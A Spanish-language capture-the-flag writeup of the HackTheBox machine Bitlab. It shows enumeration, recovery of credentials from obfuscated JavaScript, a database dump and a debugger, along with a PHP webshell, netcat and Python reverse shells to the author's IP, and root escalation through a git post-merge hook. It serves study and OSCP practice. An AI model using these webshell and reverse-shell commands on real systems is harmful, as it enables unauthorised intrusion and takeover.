Saltar al contenido

HackTheBox – Bitlab – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Bitlab de Hack the Box. Es una máquina Linux de nivel medio con dos vías distintas de explotación y de elevación de privilegios.

Enumeración

Comienzo enumerando los 1.000 puertos mas comunes y, para darle mas velocidad al escaneo, indico que envíe 10.000 paquetes por segundo con la opción --min-rate 10000; esto hace que el escaneo sea mas ruidoso pero al ser un entorno controlado no importa el ruido.

En la máquina solo hay dos puertos abiertos. Escaneo lo dos puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,80 -sC -sV gitlab.htb 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-14 16:06 CEST
Nmap scan report for gitlab.htb (10.10.10.114)
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://gitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.64 seconds

Entro en la web y me redirige a la dirección http://10.10.10.114/users/sign_in donde me encuentro una pantalla de autenticación de la plataforma GitLab.

Como no tengo ninguna credencial para acceder, entro en el fichero robots.txt, que he descubierto con nmap y descubro un directorio llamado /help.

Accedo al directorio y encuentro un fichero html que contiene direcciones hacia otras páginas.

La mayoría de enlaces no son relevantes pero al intentar entrar en Gitlab Login no ocurre nada por lo que leo el código fuente del archivo y encuentro que el último enlace es, en realidad, código JavaScript ofuscado.

href='javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()'

Existen dos formas de leer este código.

Método 1

Simplemente copio el código y lo llevo a un interprete para JavaScript como por ejemplo de4js. En la salida, puedo ver que obtengo lo que parecen ser credenciales de acceso.

clave:11des0081x

Introduzco estas credenciales en la ventana de autenticación inicial y consigo acceder a la plataforma.

Método 2

Dar click derecho en el título del enlace (Gitlab Login) y seleccionar Bookmark This Link (Marcar este enlace). Puedo ver que me aparece el enlace en la barra de favoritos con el código ofuscado.

Me dirijo a la pantalla de autenticación, pincho en el enlace en la barra de favoritos y puedo ver como se rellenan automáticamente los campos de Username or email y Password.

Con el inspector de código selecciono el campo correspondiente a la contraseña.

Cambio el parámetro type de password a text.

Al «aceptar» el cambio, me aparecerá directamente la contraseña en el campo de Password.

Obteniendo las mismas credenciales que con el método anterior.

clave:11des0081x

Una vez dentro de la plataforma, hay dos formas diferentes para resolver completamente esta máquina. La principal es la que se pensó a la hora de crear la máquina y la forma alternativa pero que se obtiene exactamente el mismo resultado.

Método Principal

Explotación

Una vez dentro de la plataforma, me encuentro con dos perfiles. Entro en el perfil de Administrator / Profile, me dirijo a la sección de Snippets («fragmentos») y veo que hay uno llamado Postgresql, lo que me da una pista de que tiene relación con base de datos.

Al entrar en él, veo que contiene código parcial en php para conectarse a una BBDD postgres.

<?php 
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles"); 
$result = pg_query($db_connection, "SELECT * FROM profiles");

Copio este código, me dirijo al repositorio del perfil y creo un nuevo archivo («+» > New file) al que llamaré db.php.

Pego el código del Snippet y le añado código en php. Creo la variable $db que, con la opción pg_fetch_all, obtiene todas las filas almacenadas en la variable $result como un array y, posteriormente imprimo el contenido de la variable $db.

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
$db = pg_fetch_all($result);
print_r($db)
?>

Accedo al fichero con el navegador a través de la ruta http://10.10.10.114/profile/db.php y obtengo las credenciales del usuario clave. Inicialmente parece que la contraseña está codificada en base64 pero tras varios intentos veo que no.

clave:c3NoLXN0cjBuZy1wQHNz==

Con estas credenciales consigo acceder a la máquina víctima por ssh.

Una vez dentro, encuentro la flag de usuario en el fichero /home/clave/user.txt.

Escalda de Privilegios

Dentro del directorio del usuario encuentro un fichero llamado RemoteConnection.exe que me llama la atención porque no es habitual ver un archivo con extensión exe en un sistema unix.

En primer lugar, voy a ver los caracteres legibles por humanos dentro del archivo.

En la salida, me llama la atención el mensaje de Access Denied !!. Vuelvo a mirar los caracteres pero esta vez codifico la salida con el comando -e para que muestre los caracteres de 16 bits littleendian. Mas información aquí.

strings RemoteConecction.exe -e l

En la salida puedo ver que el fichero está intentando ejecutar el programa putty pero por la respuesta parece que no lo consigue. Ejecuto el fichero en una máquina Windows pero el resultado es el mismo.

Como parece que algo está fallando en el fichero voy a debugearlo con Immunity Debugger en busca del error que no permite la conexión. Comienzo abriendo el fichero.

Hago click derecho en la consola > Search for > All referenced text strings para ver nuevamente las cadenas legibles por humanos.

Selecciono la línea que muestra el string de clave, hago click derecho > Follow in Disasembler para seguir el desarrollo del programa en el desensamblador.

Establezco un breackpoint (click derecho > breackpoint > toggle) antes de que el programa haga la comparativa (CMP) y llame a putty para ver los registros de salida. En mi caso lo he establecido en el MOV de la posición 0118163C.

Ejecuto el pograma (simbolo «play«) y en los registros de salida, en la posición 002137C0 y 00213768 veo lo que parece un intento de conexión por ssh con el usuario y la contraseña.

root:Qf7]8YSV.wDNF*[7d?j&eD4^

Utilizo estas credenciales para conectarme a la máquina victima como usuario root.

Una vez dentro, encuentro la flag de root en el fichero /root/root.txt.

Método Alternativo

Explotación

Una vez dentro de la plataforma, veo dos perfiles. Entro en el perfil de Administrator / Profile y me dirijo a su repositorio.

Creo un nuevo fichero al que llamo Hola.php que solamente muestra un Hola Mundo por pantalla.

<html>
 <head>
  <title>Prueba de PHP</title>
 <head>
 <body>
 <?php echo '<p>Hola Mundo</p>'; >
 </body>
<html>

Accedo a este fichero con el navegador en la ruta http://10.10.10.114/profile/Hola.php y veo que puedo leer el fichero.

Con esto veo que puedo conseguir una shell reversa mediante un ataque de RCE (ejecución remota de código). Edito el fichero Hola.php y modifico la parte de la inyección de código por un código que me de una webshell.

<html>
 <head>
  <title>Prueba de PHP</title>
 </head>
 <body>
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>
 </body>
<html>

Me dirijo a la ruta de la webshell y ejecuto el comando whoami.

Como se puede ver en la imagen anterior, consigo ejecutar el comando.

Para moverme con mas facilidad, capturo esta web con Burp Suite y la mando al Repeater. Realizo una nueva comprobación haciendo un cat al fichero /etc/passwd.

Para conseguir una shell reversa, pongo en mi máquina un netcat a la escucha por el puerto 7897 y ejecuto otro netcat desde Burp Suite hacia mi máquina.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 7899 >/tmp/f

Inicialmente no funciona, por lo que codifico el script en html y lo vuelvo a lanzar por Burp Suite, consiguendo esta vez la shell reversa como el usuario www-data.

rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.14.11+7897+%3E%2Ftmp%2Ff

Para moverme mas comodamente, invoco una consola tty.

python -c "import pty;pty.spawn('/bin/bash')"

Intento sacar la flag de usuario pero con mi usuario actual no tengo permisos para ello.

Escalada de Privilegios

Ejecuto un sudo -l para enumerar los privilegios de root (los comandos de root) que puedo ejecutar y encuentro que puedo ejecutar sudo git pull sin contraseña.

Tras leer un poco sobre git (aquí) encuentro información interesante sobre los hooks de git.

Hooks are programs you can place in a hooks directory to trigger actions at certain points in git’s execution. Hooks that don’t have the executable bit set are ignored.

By default the hooks directory is $GIT_DIR/hooks, but that can be changed via the core.hooksPath configuration variable (see git-config[1]).

Before Git invokes a hook, it changes its working directory to either $GIT_DIR in a bare repository or the root of the working tree in a non-bare repository. An exception are hooks triggered during a push (pre-receiveupdatepost-receivepost-updatepush-to-checkout) which are always executed in $GIT_DIR.

Hooks can get their arguments via the environment, command-line arguments, and stdin. See the documentation for each hook below for details.

git init may copy hooks to the new repository, depending on its configuration. See the «TEMPLATE DIRECTORY» section in git-init[1] for details. When the rest of this document refers to «default hooks» it’s talking about the default template shipped with Git.

Básicamente son scripts que se ejecutan cuando se invocan ciertos comandos de git. Como puedo ejecutar git pull como sudo, solo tengo que verificar con que scripts se ejecuta git pull.

post-merge

This hook is invoked by git-merge[1], which happens when a git pull is done on a local repository. The hook takes a single parameter, a status flag specifying whether or not the merge being done was a squash merge. This hook cannot affect the outcome of git merge and is not executed, if the merge failed due to conflicts.

This hook can be used in conjunction with a corresponding pre-commit hook to save and restore any form of metadata associated with the working tree (e.g.: permissions/ownership, ACLS, etc). See contrib/hooks/setgitperms.perl for an example of how to do this.

Ahora solo me falta saber donde colocar el fichero post-merge. Encuentro esta página de github, que utiliza la misma técnica para escalar privilegios, que coloca el fichero en la ruta .git/hooks/post-merge.

Empiezo creando el fichero post-merge donde solamente añado el código para la shell reversa.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",7898));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Como el repositorio de git es propiedad del usuario root, me dirijo el directorio /tmp y copio el repositorio git allí. Subo el fichero post-merge a la máquina victima, le doy permisos de ejecución y lo coloco en la ruta profile/.git/hooks.

cd /tmp
cp -r /var/www/html/profile/ /tmp/profile

chmod +x post-merge
mv post-merge profile/.git/hooks

Hago un cambio en el repositorio de Gitlab desde la web (crear un archivo .txt de prueba es suficiente) y pongo un netcat a la escucha por el puerto 7898.

Entro en el directorio profile, ejecuto sudo /usr/bin/git pull y consigo una shell reversa como root. Al ser root, ya puedo acceder a la flag de usuario y la de root.

Publicado enCTFHTBIngeniería inversaLinuxOSCP